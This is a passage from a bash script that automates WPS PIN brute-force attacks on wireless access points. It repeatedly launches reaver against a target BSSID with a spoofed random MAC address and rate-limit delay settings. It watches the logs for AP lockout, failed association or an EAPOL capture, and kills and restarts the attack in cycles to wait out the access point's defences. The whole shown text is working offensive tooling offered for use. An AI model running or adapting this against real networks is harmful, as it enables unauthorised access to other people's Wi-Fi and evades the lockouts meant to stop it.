	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R29 == y || $USE_R29 == Y ]] && [[ $USE_LONG29 == y || $USE_LONG29 == Y ]] && [[ $USE_PIN29 == n || $USE_PIN29 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME29"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL29"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP29"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX29" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY29"
echo -e "$info Reaver live time                   = $yel$LIVE29 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME29-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL29 -b $TARGETAP29 -r $RX29:$RY29 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME29-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE29-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R29 == n || $USE_R29 == N ]] && [[ $USE_LONG29 == n || $USE_LONG29 == N ]] && [[ $USE_PIN29 == y || $USE_PIN29 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME29"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL29"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP29"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE29 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME29-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL29 -b $TARGETAP29 -vv -x 60  --pin=$WPS_PIN29 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME29-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE29-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R29 == y || $USE_R29 == Y ]] && [[ $USE_LONG29 == n || $USE_LONG29 == N ]] && [[ $USE_PIN29 == y || $USE_PIN29 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME29"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL29"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP29"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX29" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY29"
echo -e "$info Reaver live time                   = $yel$LIVE29 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME29-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL29 -b $TARGETAP29 -vv -x 60 -r $RX29:$RY29 --pin=$WPS_PIN29 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME29-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE29-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R29 == n || $USE_R29 == N ]] && [[ $USE_LONG29 == y || $USE_LONG29 == Y ]] && [[ $USE_PIN29 == y || $USE_PIN29 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME29"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL29"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP29"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE29 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME29-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL29 -b $TARGETAP29 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN29 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME29-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE29-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R29 == y || $USE_R29 == Y ]] && [[ $USE_LONG29 == y || $USE_LONG29 == Y ]] && [[ $USE_PIN29 == y || $USE_PIN29 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME29"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL29"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP29"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX29" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY29"
echo -e "$info Reaver live time                   = $yel$LIVE29 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME29-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL29 -b $TARGETAP29 -r $RX29:$RY29 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN29 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME29-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE29-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

